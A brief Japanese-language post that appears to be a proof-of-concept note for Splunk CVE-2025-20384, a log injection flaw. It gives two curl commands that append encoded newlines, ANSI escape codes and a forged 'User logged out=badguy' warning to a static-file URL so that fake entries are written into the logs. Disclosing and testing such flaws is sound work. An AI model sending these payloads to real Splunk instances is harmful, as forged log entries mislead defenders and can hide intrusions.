SPLUNK CVE-2025-20384

なぜか知らないけど、友達が送ってきたものを読んで、適当なJavaScriptコードを打ち始めた。

Log Injection/Forgery/Poisoning/Obfuscate type POC

この記事をお読みください OWASP Log Injection

TL;DR

• 静的ファイルを探し、それを渡してランダムなパラメータを追加する
• そこで、以下のように実行する。curl -k "https://localhost:8000/en-US/static/app/search/application.css%0Atest%0A%0A%0AWARN%3A%20User%20logged%20out%3Dbadguy%0A----LOG_INJECTION_TEST_12345----" または curl -k "https://localhost:8000/en-US/static/app/search/application.css%1B[31mANSI_TEST_RED%1B[0m%0Atest%0A%0A%0AWARN%3A%20User%20logged%20out%3Dbadguy%0A----LOG_INJECTION_TEST_12345----"
• ランダムな改行が表示された場合、それはポイズニングです。単なる「普通の」ポイズニングなので問題ないように感じるかもしれませんが、標的にされると厄介です。

参考

CVEレコードへのリンク